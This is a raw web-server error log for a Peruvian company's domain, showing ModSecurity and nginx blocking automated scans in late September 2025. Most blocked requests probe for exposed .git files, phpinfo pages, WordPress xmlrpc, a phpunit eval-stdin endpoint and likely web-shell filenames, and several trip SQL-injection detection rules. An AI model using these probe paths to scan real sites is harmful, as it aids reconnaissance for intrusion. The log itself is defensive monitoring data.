12:14:26 [error] 2323#2323: *1607686 access forbidden by rule, client: 142.93.143.8, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/09/20 12:14:27 [error] 2325#2325: *1607718 access forbidden by rule, client: 64.226.65.160, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Sat Sep 20 12:14:27.590388 2025] [:error] [pid 2579:tid 2583] [client 206.189.19.19:35848] File does not exist: /home/coldtecp/public_html/info.php 2025/09/20 12:14:28 [error] 2325#2325: *1607744 access forbidden by rule, client: 206.81.24.74, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Sat Sep 20 12:14:29.284845 2025] [:error] [pid 2579:tid 2594] [client 64.226.65.160:35896] File does not exist: /home/coldtecp/public_html/info.php 2025/09/20 12:14:30 [error] 2323#2323: *1607775 access forbidden by rule, client: 207.154.197.113, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Sat Sep 20 20:32:02.933373 2025] [:error] [pid 2579:tid 2596] [client 158.62.35.58:44352] [client 158.62.35.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xb57d9d78de found within XML: metaWeblog.newPost12690626906title0xb57d9d78description0xb57d9d78mt_keywords0xb57d9d78mt_excerpt0xb57d9d781"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aM9VkikqlPuWMjVw8eYbnAAAAU4"] [Sun Sep 21 03:41:31.568208 2025] [:error] [pid 10879:tid 10888] [client 173.252.87.2:55602] [client 173.252.87.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM-6OyWa8lePLbTvNEWZyAAAAQY"] [Sun Sep 21 12:24:00.431625 2025] [:error] [pid 1148:tid 1220] [client 173.252.107.3:58026] [client 173.252.107.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNA0sMnXmvOjd_PMmo7lIgAAAAw"] 2025/09/21 13:37:52 [error] 1704#1704: *21135 access forbidden by rule, client: 45.130.203.129, server: cpanel.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/09/21 13:56:45 [error] 1704#1704: *23340 access forbidden by rule, client: 185.177.72.22, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/21 14:43:26 [error] 1705#1705: *28514 access forbidden by rule, client: 185.177.72.29, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Sun Sep 21 16:45:47.536674 2025] [:error] [pid 1749:tid 1769] [client 35.81.166.126:56946] File does not exist: /home/coldtecp/public_html/phpinfo.php [Sun Sep 21 16:45:47.705675 2025] [:error] [pid 1749:tid 1759] [client 35.81.166.126:56950] File does not exist: /home/coldtecp/public_html/test.php [Sun Sep 21 16:45:48.371208 2025] [:error] [pid 1152:tid 1184] [client 35.81.166.126:56958] File does not exist: /home/coldtecp/public_html/index.php 2025/09/21 19:15:25 [error] 1704#1704: *57302 access forbidden by rule, client: 45.130.203.143, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" 2025/09/21 21:47:40 [error] 1705#1705: *75461 access forbidden by rule, client: 185.177.72.23, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/09/21 23:58:29 [error] 1704#1704: *89755 access forbidden by rule, client: 185.177.72.22, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/09/22 01:05:16 [error] 1705#1705: *96721 access forbidden by rule, client: 45.130.203.174, server: mail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "mail.coldtecperu.com" [Mon Sep 22 02:04:26.659082 2025] [:error] [pid 1749:tid 1760] [client 173.252.87.10:55044] [client 173.252.87.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aND0-ksCtgNluZozwI3soQAAAMc"] [Mon Sep 22 03:13:49.543989 2025] [:error] [pid 1749:tid 1756] [client 139.180.201.38:56624] File does not exist: /home/coldtecp/public_html/wp-login.php [Mon Sep 22 04:54:18.845339 2025] [:error] [pid 9898:tid 9914] [client 137.59.224.191:45484] [client 137.59.224.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xf23d0cb7de found within XML: metaWeblog.newPost12757327573title0xf23d0cb7description0xf23d0cb7mt_keywords0xf23d0cb7mt_excerpt0xf23d0cb71"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aNEcyoec-n-B3e8V6WYfLwAAAQw"] [Mon Sep 22 10:47:01.696099 2025] [:error] [pid 9898:tid 9921] [client 69.171.249.113:46338] [client 69.171.249.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNFvdYec-n-B3e8V6WZcCAAAARM"] [Tue Sep 23 00:27:05.916935 2025] [:error] [pid 9738:tid 9752] [client 69.171.231.7:37550] [client 69.171.231.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNIvqQvATeFz-NiRMg_86QAAAIs"] [Tue Sep 23 04:34:02.263842 2025] [:error] [pid 32022:tid 32039] [client 82.102.18.188:37312] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/23 07:51:56 [error] 31767#31767: *255167 access forbidden by rule, client: 96.41.38.202, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/23 09:13:16 [error] 31766#31766: *266038 access forbidden by rule, client: 96.41.38.202, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Sep 23 13:27:07.435984 2025] [:error] [pid 32022:tid 32030] [client 138.199.35.10:56782] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Sep 23 15:13:25.817570 2025] [:error] [pid 8791:tid 8883] [client 64.188.91.121:35644] [client 64.188.91.121] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/elmah.axd"] [unique_id "aNL_Zc27tAGT778jLZylLwAAAVc"] [Tue Sep 23 15:56:10.512328 2025] [:error] [pid 8785:tid 8857] [client 104.196.197.20:60884] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/23 17:51:47 [error] 31766#31766: *343827 access forbidden by rule, client: 45.55.33.141, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Sep 23 21:46:11.081981 2025] [:error] [pid 8785:tid 8856] [client 69.171.231.10:45496] [client 69.171.231.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNNbc6QgcHIWRb6FbtuEuAAAAIk"] [Tue Sep 23 21:46:11.960209 2025] [:error] [pid 31803:tid 31814] [client 69.171.231.1:45508] [client 69.171.231.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNNbc-MYMgDw_n4UlPY2IAAAAAg"] 2025/09/23 21:50:00 [error] 31767#31767: *377269 access forbidden by rule, client: 54.242.48.26, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/09/23 21:50:12 [error] 31767#31767: *377335 access forbidden by rule, client: 54.242.48.26, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/23 21:50:12 [error] 31767#31767: *377358 access forbidden by rule, client: 54.242.48.26, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/23 21:51:28 [error] 31767#31767: *377606 access forbidden by rule, client: 54.242.48.26, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/23 21:51:49 [error] 31766#31766: *377684 access forbidden by rule, client: 54.242.48.26, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Tue Sep 23 22:54:29.626745 2025] [:error] [pid 31803:tid 31810] [client 173.252.87.1:52272] [client 173.252.87.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNNrdeMYMgDw_n4UlPY4qQAAAAQ"] [Wed Sep 24 00:42:19.856510 2025] [:error] [pid 32022:tid 32032] [client 47.84.199.194:51014] File does not exist: /home/coldtecp/public_html/ws.php [Wed Sep 24 00:42:28.215673 2025] [:error] [pid 8785:tid 8860] [client 47.84.199.194:51126] File does not exist: /home/coldtecp/public_html/wp-config-sample.php [Wed Sep 24 00:42:42.643553 2025] [:error] [pid 31939:tid 31952] [client 47.84.199.194:51310] File does not exist: /home/coldtecp/public_html/404.php [Wed Sep 24 00:42:46.639277 2025] [:error] [pid 8785:tid 8860] [client 47.84.199.194:51352] File does not exist: /home/coldtecp/public_html/wp.php [Wed Sep 24 00:42:51.406532 2025] [:error] [pid 8785:tid 8862] [client 47.84.199.194:51410] File does not exist: /home/coldtecp/public_html/wp-head.php [Wed Sep 24 00:42:55.308956 2025] [:error] [pid 8785:tid 8850] [client 47.84.199.194:51448] File does not exist: /home/coldtecp/public_html/fm1.php [Wed Sep 24 00:42:56.980563 2025] [:error] [pid 8791:tid 8849] [client 47.84.199.194:51460] File does not exist: /home/coldtecp/public_html/alfadheat.php [Wed Sep 24 00:43:01.213461 2025] [:error] [pid 31804:tid 31853] [client 47.84.199.194:51512] File does not exist: /home/coldtecp/public_html/M1.php [Wed Sep 24 00:43:06.619163 2025] [:error] [pid 31804:tid 31845] [client 47.84.199.194:51574] File does not exist: /home/coldtecp/public_html/admin.php [Wed Sep 24 00:43:15.312286 2025] [:error] [pid 8785:tid 8878] [client 47.84.199.194:51674] File does not exist: /home/coldtecp/public_html/about.php [Wed Sep 24 00:43:19.203967 2025] [:error] [pid 8785:tid 8869] [client 47.84.199.194:51708] File does not exist: /home/coldtecp/public_html/dropdown.php [Wed Sep 24 00:43:28.338374 2025] [:error] [pid 8785:tid 8863] [client 47.84.199.194:51828] File does not exist: /home/coldtecp/public_html/autoload_classmap.php [Wed Sep 24 00:49:13.948860 2025] [:error] [pid 8791:tid 8853] [client 47.84.199.194:55626] File does not exist: /home/coldtecp/public_html/ws.php [Wed Sep 24 00:49:17.516418 2025] [:error] [pid 8785:tid 8872] [client 47.84.199.194:55650] File does not exist: /home/coldtecp/public_html/wp-config-sample.php [Wed Sep 24 00:49:29.086072 2025] [:error] [pid 8791:tid 8871] [client 47.84.199.194:55774] File does not exist: /home/coldtecp/public_html/404.php [Wed Sep 24 00:49:30.887149 2025] [:error] [pid 8785:tid 8860] [client 47.84.199.194:55792] File does not exist: /home/coldtecp/public_html/wp.php [Wed Sep 24 00:49:34.621107 2025] [:error] [pid 8785:tid 8851] [client 47.84.199.194:55822] File does not exist: /home/coldtecp/public_html/wp-head.php [Wed Sep 24 00:49:39.478832 2025] [:error] [pid 31939:tid 31961] [client 47.84.199.194:55858] File does not exist: /home/coldtecp/public_html/fm1.php [Wed Sep 24 00:49:42.693523 2025] [:error] [pid 8785:tid 8863] [client 47.84.199.194:55882] File does not exist: /home/coldtecp/public_html/alfadheat.php [Wed Sep 24 00:49:45.332649 2025] [:error] [pid 31804:tid 31849] [client 47.84.199.194:55902] File does not exist: /home/coldtecp/public_html/M1.php [Wed Sep 24 00:49:46.965141 2025] [:error] [pid 8785:tid 8850] [client 47.84.199.194:55920] File does not exist: /home/coldtecp/public_html/admin.php [Wed Sep 24 00:49:50.945981 2025] [:error] [pid 31803:tid 31817] [client 47.84.199.194:55960] File does not exist: /home/coldtecp/public_html/about.php [Wed Sep 24 00:49:52.978573 2025] [:error] [pid 31939:tid 31947] [client 47.84.199.194:55978] File does not exist: /home/coldtecp/public_html/dropdown.php [Wed Sep 24 00:49:59.364920 2025] [:error] [pid 8791:tid 8866] [client 47.84.199.194:56048] File does not exist: /home/coldtecp/public_html/autoload_classmap.php [Wed Sep 24 06:17:53.339168 2025] [:error] [pid 6399:tid 6408] [client 34.201.151.77:37812] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Sep 24 08:15:11.706500 2025] [:error] [pid 6326:tid 6333] [client 54.91.123.163:40586] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Sep 24 10:25:55.821311 2025] [:error] [pid 6204:tid 6210] [client 34.168.44.29:53202] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Sep 24 15:39:33.398613 2025] [:error] [pid 6399:tid 6407] [client 35.243.195.78:52600] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Sep 24 17:18:39.779708 2025] [:error] [pid 6399:tid 6401] [client 209.226.246.153:55542] [client 209.226.246.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aNRuP9ZbB-5ZnZBFg5cDbgAAAMA"] [Wed Sep 24 20:10:52.301973 2025] [:error] [pid 6205:tid 6246] [client 69.171.249.112:54058] [client 69.171.249.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNSWnAZqHX-x8YZcUTXfugAAAIw"] [Wed Sep 24 20:30:39.017620 2025] [:error] [pid 6399:tid 6411] [client 69.171.249.1:39718] [client 69.171.249.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNSbP9ZbB-5ZnZBFg5c8vQAAAMo"] [Wed Sep 24 21:35:40.812135 2025] [:error] [pid 6399:tid 6418] [client 173.252.83.9:58706] [client 173.252.83.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNSqfNZbB-5ZnZBFg5dTTAAAANE"] 2025/09/25 01:03:21 [error] 6172#6172: *637426 access forbidden by rule, client: 185.177.72.23, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Thu Sep 25 01:03:23.249724 2025] [:error] [pid 6204:tid 6225] [client 185.177.72.23:53162] File does not exist: /home/coldtecp/public_html/phpinfo.php [Thu Sep 25 01:03:23.406335 2025] [:error] [pid 6204:tid 6213] [client 185.177.72.23:53166] File does not exist: /home/coldtecp/public_html/info.php 2025/09/25 05:22:24 [error] 1141#1141: *689980 access forbidden by rule, client: 45.130.203.135, server: cpanel.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "cpanel.coldtecperu.com" [Thu Sep 25 06:05:36.302598 2025] [:error] [pid 1550:tid 1570] [client 34.74.154.227:53694] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/25 11:05:54 [error] 1140#1140: *759194 access forbidden by rule, client: 45.130.203.162, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" [Thu Sep 25 12:32:45.012801 2025] [:error] [pid 1550:tid 1576] [client 47.84.199.194:42852] [client 47.84.199.194] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "19"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "coldtecperu.com"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aNV8vW5jZHTu_F3Ge47k_AAAARc"] [Thu Sep 25 12:36:44.361084 2025] [:error] [pid 1175:tid 1236] [client 47.84.199.194:46360] [client 47.84.199.194] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "19"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "www.coldtecperu.com"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aNV9rJ_WLNxJStO6kByQbAAAAMA"] [Thu Sep 25 16:32:10.265155 2025] [:error] [pid 1550:tid 1558] [client 45.149.173.233:49152] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/25 16:36:49 [error] 1141#1141: *821689 access forbidden by rule, client: 185.177.72.30, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Thu Sep 25 17:23:46.246606 2025] [:error] [pid 1550:tid 1556] [client 15.235.145.166:53842] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Sep 25 19:57:07.336410 2025] [:error] [pid 1550:tid 1571] [client 69.171.230.112:45210] [client 69.171.230.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNXk425jZHTu_F3Ge45s1gAAARI"] [Fri Sep 26 00:30:50.333479 2025] [:error] [pid 1173:tid 1180] [client 136.117.21.44:56880] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/26 06:02:51 [error] 32715#32715: *944963 access forbidden by rule, client: 45.130.203.133, server: mail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "mail.coldtecperu.com" [Fri Sep 26 18:38:49.703739 2025] [:error] [pid 32753:tid 32764] [client 173.252.87.112:39004] [client 173.252.87.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNckCTF_TBK6bKAr2nGtxgAAAEA"] [Sat Sep 27 02:22:33.192831 2025] [:error] [pid 24093:tid 24151] [client 143.244.57.118:48936] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Sep 27 08:18:35.437144 2025] [:error] [pid 24292:tid 24309] [client 103.113.230.37:59278] [client 103.113.230.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xdb59fdb9de found within XML: metaWeblog.newPost13944639446title0xdb59fdb9description0xdb59fdb9mt_keywords0xdb59fdb9mt_excerpt0xdb59fdb91"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aNfkKyjAySQoddSOlv7ePwAAAQ8"] [Sat Sep 27 17:06:17.114444 2025] [:error] [pid 24382:tid 24408] [client 69.171.231.14:60672] [client 69.171.231.14] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNhf2a_tgexy0Jx5CFxYowAAANg"] [Sat Sep 27 18:30:01.626272 2025] [:error] [pid 24292:tid 24301] [client 35.226.188.179:58928] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Sep 28 01:51:15.792866 2025] [:error] [pid 24292:tid 24316] [client 95.173.216.34:40596] File does not exist: /home/coldtecp/public_html/phpinfo.php [Sun Sep 28 01:51:17.364322 2025] [:error] [pid 24162:tid 24193] [client 95.173.216.34:40606] File does not exist: /home/coldtecp/public_html/test.php [Sun Sep 28 01:51:26.396224 2025] [:error] [pid 24382:tid 24392] [client 95.173.216.34:40728] File does not exist: /home/coldtecp/public_html/index.php [Sun Sep 28 04:04:04.136318 2025] [:error] [pid 32121:tid 32126] [client 69.171.230.115:34396] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver 